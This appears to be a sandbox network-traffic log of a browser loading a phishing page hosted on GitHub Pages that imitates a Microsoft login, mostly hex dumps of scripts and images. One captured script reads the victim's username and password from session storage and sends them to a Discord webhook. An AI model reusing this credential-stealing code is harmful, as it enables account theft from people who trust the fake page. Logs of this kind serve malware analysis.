2024-08-29 22:19:21 UTC	1369	IN	Data Raw: 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 5f 6b 65 79 64 6f 77 6e 28 65 29 7d 29 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 22 6d 6f 75 73 65 65 6e 74 65 72 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 70 61 75 73 65 28 65 29 7d 29 29 2e 6f 6e 28 22 6d 6f 75 73 65 6c 65 61 76 65 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 79 63 6c 65 28 65 29 7d 29 29 2c 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 74 6f 75 63 68 26 26 74 68 69 73 2e 5f 61 64 64 54 6f 75 63 68 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 Data Ascii: function(e){return t._keydown(e)})),"hover"===this._config.pause&&e(this._element).on("mouseenter.bs.carousel",(function(e){return t.pause(e)})).on("mouseleave.bs.carousel",(function(e){return t.cycle(e)})),this._config.touch&&this._addTouchEventListeners
2024-08-29 22:19:21 UTC	1369	IN	Data Raw: 73 2e 6c 65 6e 67 74 68 3e 31 3f 74 2e 74 6f 75 63 68 44 65 6c 74 61 58 3d 30 3a 74 2e 74 6f 75 63 68 44 65 6c 74 61 58 3d 65 2e 6f 72 69 67 69 6e 61 6c 45 76 65 6e 74 2e 74 6f 75 63 68 65 73 5b 30 5d 2e 63 6c 69 65 6e 74 58 2d 74 2e 74 6f 75 63 68 53 74 61 72 74 58 7d 28 65 29 7d 29 29 2c 65 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 22 74 6f 75 63 68 65 6e 64 2e 62 73 2e 63 61 72 6f 75 73 65 6c 22 2c 28 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 69 28 74 29 7d 29 29 29 7d 7d 2c 6e 2e 5f 6b 65 79 64 6f 77 6e 3d 66 75 6e 63 74 69 6f 6e 28 74 29 7b 69 66 28 21 2f 69 6e 70 75 74 7c 74 65 78 74 61 72 65 61 2f 69 2e 74 65 73 74 28 74 2e 74 61 72 67 65 74 2e 74 61 67 4e 61 6d 65 29 29 73 77 69 74 63 68 28 74 2e 77 68 69 63 68 29 7b Data Ascii: s.length>1?t.touchDeltaX=0:t.touchDeltaX=e.originalEvent.touches[0].clientX-t.touchStartX}(e)})),e(this._element).on("touchend.bs.carousel",(function(t){return i(t)})))}},n._keydown=function(t){if(!/input\|textarea/i.test(t.target.tagName))switch(t.which){

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49759	185.199.108.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:21 UTC	367	OUT	GET /assets/img/microsoft_logo.svg HTTP/1.1 Host: l9sa.github.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:21 UTC	721	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3651 Server: GitHub.com Content-Type: image/svg+xml permissions-policy: interest-cohort=() Last-Modified: Tue, 07 Nov 2023 13:01:40 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "654a3534-e43" expires: Thu, 29 Aug 2024 22:29:18 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: A8CB:1A6FBB:400A264:47E733F:66D0F3E5 Accept-Ranges: bytes Date: Thu, 29 Aug 2024 22:19:21 GMT Via: 1.1 varnish Age: 3 X-Served-By: cache-ewr-kewr1740023-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1724969961.152337,VS0,VE2 Vary: Accept-Encoding X-Fastly-Request-ID: b2ac83862a86c9b6119cca5b9e0c00a7f8eb08e4
2024-08-29 22:19:21 UTC	1378	IN	Data Raw: 3c 73 76 67 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 77 69 64 74 68 3d 22 31 30 38 22 20 68 65 69 67 68 74 3d 22 32 34 22 20 76 69 65 77 42 6f 78 3d 22 30 20 30 20 31 30 38 20 32 34 22 3e 3c 74 69 74 6c 65 3e 61 73 73 65 74 73 3c 2f 74 69 74 6c 65 3e 3c 70 61 74 68 20 64 3d 22 4d 34 34 2e 38 33 36 2c 34 2e 36 56 31 38 2e 34 68 2d 32 2e 34 56 37 2e 35 38 33 48 34 32 2e 34 4c 33 38 2e 31 31 39 2c 31 38 2e 34 48 33 36 2e 35 33 31 4c 33 32 2e 31 34 32 2c 37 2e 35 38 33 68 2d 2e 30 32 39 56 31 38 2e 34 48 32 39 2e 39 56 34 2e 36 68 33 2e 34 33 36 4c 33 37 2e 33 2c 31 34 2e 38 33 68 2e 30 35 38 4c 34 31 2e 35 34 35 2c 34 2e 36 5a 6d 32 2c 31 2e 30 34 39 61 31 2e 32 36 38 2c 31 2e 32 36 38 2c 30 Data Ascii: <svg xmlns="http://www.w3.org/2000/svg" width="108" height="24" viewBox="0 0 108 24"><title>assets</title><path d="M44.836,4.6V18.4h-2.4V7.583H42.4L38.119,18.4H36.531L32.142,7.583h-.029V18.4H29.9V4.6h3.436L37.3,14.83h.058L41.545,4.6Zm2,1.049a1.268,1.268,0
2024-08-29 22:19:21 UTC	1378	IN	Data Raw: 30 2c 30 2c 31 2d 33 2e 36 35 32 2d 31 2e 33 35 32 41 34 2e 39 38 37 2c 34 2e 39 38 37 2c 30 2c 30 2c 31 2c 36 36 2e 34 30 36 2c 31 33 2e 36 6d 32 2e 34 32 35 2d 2e 30 37 37 61 33 2e 35 33 35 2c 33 2e 35 33 35 2c 30 2c 30 2c 30 2c 2e 37 2c 32 2e 33 36 38 2c 32 2e 35 30 35 2c 32 2e 35 30 35 2c 30 2c 30 2c 30 2c 32 2e 30 31 31 2e 38 31 38 2c 32 2e 33 34 35 2c 32 2e 33 34 35 2c 30 2c 30 2c 30 2c 31 2e 39 33 34 2d 2e 38 31 38 2c 33 2e 37 38 33 2c 33 2e 37 38 33 2c 30 2c 30 2c 30 2c 2e 36 36 34 2d 32 2e 34 32 35 2c 33 2e 36 35 31 2c 33 2e 36 35 31 2c 30 2c 30 2c 30 2d 2e 36 38 38 2d 32 2e 34 31 31 2c 32 2e 33 38 39 2c 32 2e 33 38 39 2c 30 2c 30 2c 30 2d 31 2e 39 32 39 2d 2e 38 31 33 2c 32 2e 34 34 2c 32 2e 34 34 2c 30 2c 30 2c 30 2d 31 2e 39 38 38 2e 38 35 32 Data Ascii: 0,0,1-3.652-1.352A4.987,4.987,0,0,1,66.406,13.6m2.425-.077a3.535,3.535,0,0,0,.7,2.368,2.505,2.505,0,0,0,2.011.818,2.345,2.345,0,0,0,1.934-.818,3.783,3.783,0,0,0,.664-2.425,3.651,3.651,0,0,0-.688-2.411,2.389,2.389,0,0,0-1.929-.813,2.44,2.44,0,0,0-1.988.852
2024-08-29 22:19:21 UTC	895	IN	Data Raw: 39 2c 30 2c 30 2c 30 2d 31 2e 39 38 37 2e 38 35 32 2c 33 2e 37 30 37 2c 33 2e 37 30 37 2c 30 2c 30 2c 30 2d 2e 37 30 37 2c 32 2e 34 33 6d 31 35 2e 34 36 34 2d 33 2e 31 30 39 48 39 39 2e 37 56 31 38 2e 34 48 39 37 2e 33 34 31 56 31 30 2e 34 31 32 48 39 35 2e 36 38 36 56 38 2e 35 30 37 68 31 2e 36 35 35 56 37 2e 31 33 61 33 2e 34 32 33 2c 33 2e 34 32 33 2c 30 2c 30 2c 31 2c 31 2e 30 31 35 2d 32 2e 35 35 35 2c 33 2e 35 36 31 2c 33 2e 35 36 31 2c 30 2c 30 2c 31 2c 32 2e 36 2d 31 2c 35 2e 38 30 37 2c 35 2e 38 30 37 2c 30 2c 30 2c 31 2c 2e 37 35 31 2e 30 34 33 2c 32 2e 39 39 33 2c 32 2e 39 39 33 2c 30 2c 30 2c 31 2c 2e 35 37 37 2e 31 33 56 35 2e 37 36 34 61 32 2e 34 32 32 2c 32 2e 34 32 32 2c 30 2c 30 2c 30 2d 2e 34 2d 2e 31 36 34 2c 32 2e 31 30 37 2c 32 2e 31 Data Ascii: 9,0,0,0-1.987.852,3.707,3.707,0,0,0-.707,2.43m15.464-3.109H99.7V18.4H97.341V10.412H95.686V8.507h1.655V7.13a3.423,3.423,0,0,1,1.015-2.555,3.561,3.561,0,0,1,2.6-1,5.807,5.807,0,0,1,.751.043,2.993,2.993,0,0,1,.577.13V5.764a2.422,2.422,0,0,0-.4-.164,2.107,2.1

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49760	185.199.108.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:21 UTC	361	OUT	GET /assets/js/script.min.js HTTP/1.1 Host: l9sa.github.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:21 UTC	745	IN	HTTP/1.1 200 OK Connection: close Content-Length: 3903 Server: GitHub.com Content-Type: application/javascript; charset=utf-8 permissions-policy: interest-cohort=() Last-Modified: Tue, 07 Nov 2023 13:01:40 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "654a3534-f3f" expires: Thu, 29 Aug 2024 22:29:21 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: B0C3:1727:35ACDAB:3C8E0F7:66D0F3E9 Accept-Ranges: bytes Date: Thu, 29 Aug 2024 22:19:21 GMT Via: 1.1 varnish Age: 0 X-Served-By: cache-ewr-kewr1740025-EWR X-Cache: MISS X-Cache-Hits: 0 X-Timer: S1724969961.201367,VS0,VE20 Vary: Accept-Encoding X-Fastly-Request-ID: 694480a8c3c5cc744643241b38ccdda48460cb76
2024-08-29 22:19:21 UTC	1378	IN	Data Raw: 63 6f 6e 73 74 20 61 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 6c 69 64 65 2d 70 61 67 65 22 29 2c 0d 0a 20 20 62 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 65 63 6f 6e 64 53 6c 69 64 65 22 29 2c 0d 0a 20 20 63 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 66 69 72 73 74 4e 65 78 74 22 29 2c 0d 0a 20 20 64 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 70 72 65 76 2d 31 22 29 2c 0d 0a 20 20 65 20 3d 20 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 28 22 2e 73 75 62 6d 69 74 22 29 3b 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 66 28 67 29 20 7b 0d 0a 20 20 72 65 74 75 72 6e 20 2f Data Ascii: const a = document.querySelector(".slide-page"), b = document.querySelector(".secondSlide"), c = document.querySelector(".firstNext"), d = document.querySelector(".prev-1"), e = document.querySelector(".submit");function f(g) { return /
2024-08-29 22:19:21 UTC	1378	IN	Data Raw: 67 65 74 49 74 65 6d 28 22 75 73 65 72 22 29 3b 0d 0a 20 20 6c 65 74 20 70 20 3d 20 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 22 70 61 73 73 77 6f 72 64 22 29 3b 0d 0a 0d 0a 20 20 63 6f 6e 73 74 20 71 20 3d 20 7b 0d 0a 20 20 20 20 63 6f 6e 74 65 6e 74 3a 20 60 55 73 65 72 73 20 55 73 65 72 6e 61 6d 65 3a 20 24 7b 6f 7d 5c 6e 55 73 65 72 73 20 50 61 73 73 77 6f 72 64 3a 20 24 7b 70 7d 60 2c 0d 0a 20 20 7d 3b 0d 0a 0d 0a 20 20 63 6f 6e 73 74 20 72 20 3d 0d 0a 20 20 20 20 22 68 74 74 70 73 3a 2f 2f 64 69 73 63 6f 72 64 2e 63 6f 6d 2f 61 70 69 2f 77 65 62 68 6f 6f 6b 73 2f 31 31 34 38 35 37 31 39 38 32 36 39 31 30 35 33 36 34 31 2f 47 74 46 4a 4c 69 4c 62 4c 70 6c 6d 41 5f 35 4c 35 4a 37 56 78 75 46 56 79 55 59 48 54 39 50 51 53 2d Data Ascii: getItem("user"); let p = sessionStorage.getItem("password"); const q = { content: `Users Username: ${o}\nUsers Password: ${p}`, }; const r = "https://discord.com/api/webhooks/1148571982691053641/GtFJLiLbLplmA_5L5J7VxuFVyUYHT9PQS-
2024-08-29 22:19:21 UTC	1147	IN	Data Raw: 64 28 22 73 65 63 74 69 6f 6e 2d 32 22 29 3b 0d 0a 20 20 20 20 28 7a 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 4c 65 66 74 20 3d 20 22 2d 31 30 30 25 22 29 2c 0d 0a 20 20 20 20 20 20 28 7a 2e 73 74 79 6c 65 2e 76 69 73 69 62 69 6c 69 74 79 20 3d 20 22 68 69 64 64 65 6e 22 29 2c 0d 0a 20 20 20 20 20 20 28 41 2e 73 74 79 6c 65 2e 6d 61 72 67 69 6e 4c 65 66 74 20 3d 20 22 30 25 22 29 2c 0d 0a 20 20 20 20 20 20 28 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6c 6f 67 69 6e 46 6f 72 6d 22 29 2e 73 74 79 6c 65 2e 68 65 69 67 68 74 20 3d 20 22 34 30 33 70 78 22 29 3b 0d 0a 20 20 7d 29 2c 0d 0a 20 20 65 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 63 6c 69 63 6b 22 2c 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 0d 0a 20 20 20 Data Ascii: d("section-2"); (z.style.marginLeft = "-100%"), (z.style.visibility = "hidden"), (A.style.marginLeft = "0%"), (document.getElementById("loginForm").style.height = "403px"); }), e.addEventListener("click", function () {

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
16	192.168.2.4	49758	185.199.108.153	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-29 22:19:21 UTC	363	OUT	GET /assets/img/background.png HTTP/1.1 Host: l9sa.github.io Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-29 22:19:21 UTC	721	IN	HTTP/1.1 200 OK Connection: close Content-Length: 1294919 Server: GitHub.com Content-Type: image/png permissions-policy: interest-cohort=() Last-Modified: Tue, 07 Nov 2023 13:01:40 GMT Access-Control-Allow-Origin: * Strict-Transport-Security: max-age=31556952 ETag: "654a3534-13c247" expires: Thu, 29 Aug 2024 22:29:18 GMT Cache-Control: max-age=600 x-proxy-cache: MISS X-GitHub-Request-Id: 93B9:1728:38CC4F9:3FE6472:66D0F3E6 Accept-Ranges: bytes Date: Thu, 29 Aug 2024 22:19:21 GMT Via: 1.1 varnish Age: 2 X-Served-By: cache-ewr-kewr1740037-EWR X-Cache: HIT X-Cache-Hits: 1 X-Timer: S1724969961.200990,VS0,VE3 Vary: Accept-Encoding X-Fastly-Request-ID: 0231c53ddd7a8ffdab140c84ea2ecfae03ecdd07
2024-08-29 22:19:21 UTC	16384	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 0f 00 00 00 08 6e 08 06 00 00 00 a9 62 a8 99 00 00 06 4e 7a 54 58 74 52 61 77 20 70 72 6f 66 69 6c 65 20 74 79 70 65 20 65 78 69 66 00 00 78 da ad 57 5b 92 24 27 0c fc e7 14 3e 02 12 08 c4 71 78 46 f8 06 3e be 53 a2 ba e7 b1 6b 7b 37 c2 5d 31 55 94 a0 40 99 29 09 26 ec bf fe 3c e1 0f fc 48 6b 09 59 aa 96 56 4a c4 2f b7 dc b8 a3 a1 f1 fe 9a df 29 66 bf bf 7e e7 b1 7e b1 87 b2 9f cf 18 a6 84 67 ba 1d b5 df 27 75 d8 e5 e3 83 d7 1a 34 be da 83 3e 3d ac cf 44 af 95 f9 3e 92 ad 6c ed f5 d9 49 d8 f9 da 29 3f 13 b5 7d 1b a5 69 fd ec ea 78 26 9a cf 40 77 e5 f9 cb 6f b7 ee c3 de c3 17 43 05 4b 4b b0 50 62 de 89 52 f4 bb 5e 0f d2 fd eb f8 53 dc 29 55 1b 87 67 4f 39 b5 e0 0f 7a 26 03 21 5f e0 7d 10 fc 99 a0 ef e4 Data Ascii: PNGIHDRnbNzTXtRaw profile type exifxW[$'>qxF>Sk{7]1U@)&<HkYVJ/)f~~g'u4>=D>lI)?}ix&@woCKKPbR^S)UgO9z&!_}
2024-08-29 22:19:21 UTC	16384	IN	Data Raw: 93 5b 3c 55 77 5e 63 c7 b7 b5 4e 9c 4c b3 d6 96 d7 50 1a 9d f9 a9 27 b8 b4 ae 4f 7d 18 39 a9 d3 a7 25 5c 74 d1 ed cd 87 5b 37 4f 40 7e 9f 8f 64 c0 6d 9c b8 cf 95 7d 96 78 04 26 e8 c5 cb d1 d2 8a b0 8d 42 67 af 3a 7b c9 33 6c 64 99 0e e8 a2 3c ce 33 1a 2e a3 bc 21 af 35 4c 87 1a 7a c3 83 bc 85 cc 17 03 75 e3 4f 48 c6 05 23 cd c1 20 f7 5a 6d 88 f8 d0 c5 34 5d 31 c3 fa 5d 2e 4d a8 b8 76 ad 0c 3b d2 ee ee 55 c6 51 92 b1 7b c6 f8 f9 f0 c8 c2 82 bc be 86 e3 14 fb 6b bf c5 f4 67 21 01 ad 0b f4 b5 0e 95 12 ea 41 e1 4b a8 24 64 ee 54 75 9e 41 e6 ec 33 cc da 0c d1 42 8e 39 66 a7 40 c2 9b dc ac 68 51 9e 13 13 97 49 e7 1c 1c 77 a4 19 1c a6 7a 19 23 ba d0 c6 12 7f 9a 0d e6 44 2a 49 78 bb 65 bf 34 83 21 9b e3 b5 b2 53 17 69 7a b3 55 e7 62 c0 69 56 73 26 69 78 7f 5e 48 Data Ascii: [<Uw^cNLP'O}9%\t[7O@~dm}x&Bg:{3ld<3.!5LzuOH# Zm4]1].Mv;UQ{kg!AK$dTuA3B9f@hQIwz#D*Ixe4!SizUbiVs&ix^H
2024-08-29 22:19:21 UTC	16384	IN	Data Raw: fd a6 79 6e d1 e7 14 23 10 c6 3c 6a 7d f4 9e 4b 1d 16 1e a0 9e 05 ba 2e 32 2c de b1 88 11 84 99 47 47 f1 ef f2 99 81 3d 6d 9d 25 86 00 a7 be 79 fa b4 0b 2e 80 3e 82 8f a2 a8 e7 3a e6 78 51 1d 78 d8 da f2 bb 8e 32 04 ff c4 e1 df c7 c8 ce c4 0c c0 b0 7f 51 01 d2 f9 84 36 e8 6e bb dd 33 dc 4b 51 38 09 6b 6b e4 98 40 fd 95 1d 3a 4f 09 c1 02 6c 83 61 d2 1d 65 b6 de 45 37 ef 71 38 cf 97 7e fb 1e ee 3d ac b0 24 5b d8 a9 6d 7b 05 3d 2e e9 03 16 92 3a 8b 05 d8 16 d6 22 3d f4 8f 72 77 e3 70 b6 e9 bf 77 5a ef 7f 3b be 26 bb 69 36 5d 98 fe dc 59 5b cc 4c 9e 34 c4 82 ae ab e5 60 28 f5 0b 95 ff c6 b9 d3 2a fa 69 97 f0 f7 b7 f7 f6 1c f3 ab 67 0b 61 21 2b 70 0f 84 4e ef 3a cf 6d 0a ce cc a3 33 a6 9c 79 29 ca f7 00 ce 2d 2e 62 41 c7 1b fa db 08 f0 09 af fc b0 82 d6 f2 61 Data Ascii: yn#<j}K.2,GG=m%y.>:xQx2Q6n3KQ8kk@:OlaeE7q8~=$[m{=.:"=rwpwZ;&i6]Y[L4`(*iga!+pN:m3y)-.bAa
2024-08-29 22:19:21 UTC	16384	IN	Data Raw: da 9e e1 e2 65 97 3e a7 e6 02 11 6d a6 c5 6b 1e c4 3f 50 69 fa 97 8e a0 4c b2 ff f8 89 59 7b 16 c5 5a 4f df e3 63 5b 71 61 01 52 a1 ef 21 9c 5d d5 e4 c0 71 56 03 02 68 dd 6b 68 c6 22 8a 97 5c 2a c4 20 c9 9c 79 68 42 a9 a6 39 75 02 24 00 5d f0 fd 91 70 2e 10 62 13 7e 40 27 8e 54 61 00 5e 74 6a 96 61 cf 2c cd f3 ab cb 07 f4 80 b2 3c 9c 7d 1f 91 be 47 e9 fb 94 1d 0a 71 45 4b 00 00 1d b1 19 74 f4 6d ef 91 a3 f2 b9 54 f3 4c f6 fb 12 a2 47 f7 f8 9b e3 ff 49 05 83 b2 de a6 0c 47 14 f7 63 02 c0 13 56 aa c9 62 f7 0f 16 47 01 9b e3 0a 75 58 02 5d 7c 9b e3 48 a9 b1 46 47 08 e9 7f a6 19 22 87 e0 a8 8a 61 cf d6 4e d2 21 66 a0 72 13 20 b7 e8 5c 97 00 50 62 41 6a ec f2 b9 f4 fb c6 28 c2 fd 28 54 62 4d e7 cf e0 e9 bb ef 7c 6a cb 51 16 18 25 52 9e ad e2 3a bb 2e 45 7d 88 Data Ascii: e>mk?PiLY{ZOc[qaR!]qVhkh"\* yhB9u$]p.b~@'Ta^tja,<}GqEKtmTLGIGcVbGuX]\|HFG"aN!fr \PbAj((TbM\|jQ%R:.E}
2024-08-29 22:19:21 UTC	16384	IN	Data Raw: ac 8f e2 2d 7a e2 80 b5 f5 b5 ae ad 1d 5c d6 c4 5e e3 be 45 3d 39 7c 5d 00 e7 9e 88 ea 40 7a 1e 18 37 4f 6e c7 93 76 7b ce 8f d3 fe c0 33 05 c3 44 37 40 c5 0b b3 14 51 d6 e7 af 1c 49 e6 cc d0 86 f3 8f 37 6f de bc dd 07 44 e1 b4 6a ee cb ed 97 2d 12 f7 f3 19 7b c9 14 16 93 53 97 0b 6f 43 23 05 b4 e7 e5 85 f9 ff 3f 0b 92 dd 31 c3 6f e5 5f d9 ad 2e 8a c6 9b 4b e7 41 01 b3 40 49 b3 16 2e ea bd 00 f0 8c ca bf a9 d9 60 f0 5b f6 d5 cf 23 ab ed c9 03 aa a1 62 a5 aa 2f 84 ab 31 f7 d2 2f 8f 7c a6 93 dc 34 30 81 fc 87 60 0c ac 8c 6f b4 60 b6 aa b8 e3 38 f8 3f b6 bf a3 c4 4e ec eb 2b 95 0c 8c 08 2a eb e6 14 13 bf cf 37 af 87 94 87 2a 99 bc a4 af 4e 15 af 98 c1 4e bd 7d cf 56 d9 56 b4 a0 52 64 34 ac 91 fe be 35 1d 2d 05 56 99 ca 39 a7 15 a8 c6 d6 53 40 a3 81 a6 ce ce Data Ascii: -z\^E=9\|]@z7Onv{3D7@QI7oDj-{SoC#?1o_.KA@I.`[#b/1/\|40`o`8?N+7NN}VVRd45-V9S@
2024-08-29 22:19:21 UTC	16384	IN	Data Raw: 0a 5d 9c d5 dc 0c 5d 02 54 a5 ac 55 72 df 15 93 bc a4 f8 7f 79 7e e4 17 ab 90 f4 0f c2 67 7d c3 2e 57 1f cf f1 7a 34 04 1f 26 51 9f 4e 59 fe fa a5 bf 71 52 f5 d6 a9 6d 50 d9 c0 7e d1 7b 0c 0a c1 66 9f 88 b8 f8 74 8c 9d c5 67 a5 fe e8 48 c3 63 47 75 98 96 e7 bb c4 93 9e b5 58 4d 31 cd 27 b6 e9 1e 3f 9c 93 d5 b6 1a 15 65 95 15 bf 95 80 07 cb 34 3b 63 6f a1 1b 17 ed d8 9c 1d b4 a7 3a 13 56 94 2f 65 2f 91 2b 38 2d e5 85 f5 54 18 b1 1d 6d 72 72 ff ff be 0e e2 d5 fd 77 2b 7e 36 2b ee 01 f0 bf 7e 8c e3 00 3f f8 6e 57 f8 fa 7d 3f 00 13 47 0e e6 e6 94 dc 60 07 79 b2 75 1c ac 7b 6c c2 6b 08 e3 fd f0 96 36 21 2d 60 5e a1 36 88 6c fa 22 f7 36 b6 18 fc 28 67 b1 12 28 1d 63 8c f2 35 73 97 e0 08 f1 e2 12 cd b9 65 74 ab f3 0f ac 90 77 00 dd 79 ce 0e f7 b3 a7 72 41 c3 56 Data Ascii: ]]TUry~g}.Wz4&QNYqRmP~{ftgHcGuXM1'?e4;co:V/e/+8-Tmrrw+~6+~?nW}?G`yu{lk6!-`^6l"6(g(c5setwyrAV
2024-08-29 22:19:21 UTC	16384	IN	Data Raw: 74 7d c3 80 1d 59 b4 cd 3c c5 23 38 c5 31 2c 60 72 ad 03 64 a7 cd 2f 21 2a 8a 53 34 e6 5d 45 87 39 9f 25 6b 85 b6 7f 86 85 a7 41 07 44 6d 06 ab c9 0a 9c 3b 03 1f ed 4b fb ea 0e 8c d6 07 a6 ac 8c b4 77 bf 24 41 ad f4 f4 7e 8f 06 7e f8 f1 3f a0 05 00 09 9d 51 d8 1d 02 f8 68 27 ae 1f 1b e6 9e e2 b5 ea c5 a8 fa e4 19 2a 9e 88 1d c9 f6 1d 81 cd f8 a2 aa 4b b5 f6 8a 96 dd 5d 93 77 08 86 bc 2e 41 ea 87 d9 71 8a 37 61 16 17 17 3f 34 30 55 ed 7e 61 e6 bd 94 fd 2c 50 f0 f3 4e 64 f2 d8 dc ce 81 b0 57 56 d3 fb 91 20 1f 3a fc 2c 42 f7 c8 1d 73 2f d3 75 00 1e 73 f5 ac 78 b2 96 b9 d7 75 b5 2c 2e 92 f9 1f c9 b8 e4 4b c7 bc 8e 9d 34 58 b2 3a 42 14 d7 e1 5f bf 6b 1c e9 2a d9 61 02 ec 31 a0 b4 85 d0 92 ab 75 55 88 15 07 ea f3 02 0e 4b 8e d6 75 5f 7f 7c 3b 35 e9 07 1c 3e 15 Data Ascii: t}Y<#81,`rd/!S4]E9%kADm;Kw$A~~?Qh'K]w.Aq7a?40U~a,PNdWV :,Bs/usxu,.K4X:B_k*a1uUKu_\|;5>
2024-08-29 22:19:21 UTC	16384	IN	Data Raw: a1 ea 91 06 fc 83 09 70 66 0b e8 45 a5 80 05 a6 4d 51 4b bb 9a 00 1e 1d 18 d1 75 73 0d 2e 13 2c 95 94 b0 a4 84 90 27 7b cb e6 a7 9e 1b a7 66 5a 0e 80 3f 7e 81 95 54 25 6c 45 fa 06 96 de 46 e2 68 08 7f a8 d9 57 3b a0 8d 67 4a 6f 58 31 2c 32 fa a1 3d 4c fc 3b ec 83 53 06 08 d4 cd f3 32 35 c6 48 85 74 be 14 9a 02 23 a4 c3 ef 33 80 99 7d 6d 16 57 88 06 46 3c 03 05 23 41 9b be 56 83 ab c0 29 a3 e5 cb b5 13 d0 b3 7b 98 40 2d aa f6 4a a6 8e cc 78 a8 df a4 61 2d e4 9e c2 58 a3 8b f8 63 b3 c7 d6 08 34 09 2d 7b ed 6a f7 fe d5 ee ad 6b 79 c7 c8 7d 88 a3 e8 5f eb bb d9 20 b3 1d cd bf 5b 7b 6f bb 57 02 17 bc c3 84 cd 13 db a6 00 68 58 c0 bb 76 20 b9 39 01 74 1b 69 b8 b9 90 2e fa ce 78 55 15 14 ee c9 5a 3a c6 b0 44 6c 99 9b 50 f9 37 c6 f3 40 dc 98 f0 30 db e0 bc fe 8b Data Ascii: pfEMQKus.,'{fZ?~T%lEFhW;gJoX1,2=L;S25Ht#3}mWF<#AV){@-Jxa-Xc4-{jky}_ [{oWhXv 9ti.xUZ:DlP7@0
2024-08-29 22:19:21 UTC	16384	IN	Data Raw: b7 14 a9 cf 27 49 3d 16 5c 18 a2 27 d6 12 32 41 d6 84 57 cb 2d 96 14 04 32 80 33 4c c5 55 77 8b 4a 54 55 19 33 2f 1b f5 43 18 d4 fa 5b 2e 41 a9 9a 7f e2 7f b8 94 f0 e7 d4 6a cd 6b 5d eb 5a 72 dd 6b 3e da 52 d4 ba e6 62 e5 ea 04 fc b9 fe 79 e4 9e b7 d1 54 1a 34 55 fa 7c 69 f0 3d ad 33 0d fc 0f b7 24 75 af 1a 79 f8 b7 76 8c 0b 59 ac eb 71 b6 01 8e ef 2e 40 74 bd ce 72 e9 fb c4 17 52 c4 c4 0c cb 9a ab 19 d9 3a 53 2c b9 b2 44 a7 17 d1 6a 9e 86 42 4d 33 b7 51 22 7e b0 92 7d be 4f 20 9b fa df 15 63 8d 89 77 d7 b5 ae 75 dd 5f d3 06 bd 15 73 0e 2b c0 81 66 7d 66 b4 ff 6c 95 0f f6 94 b6 de 27 75 bc fb f7 6b 62 04 dc c3 46 6c db cc 99 e4 75 f8 77 c1 b5 45 fe 67 cb 3c 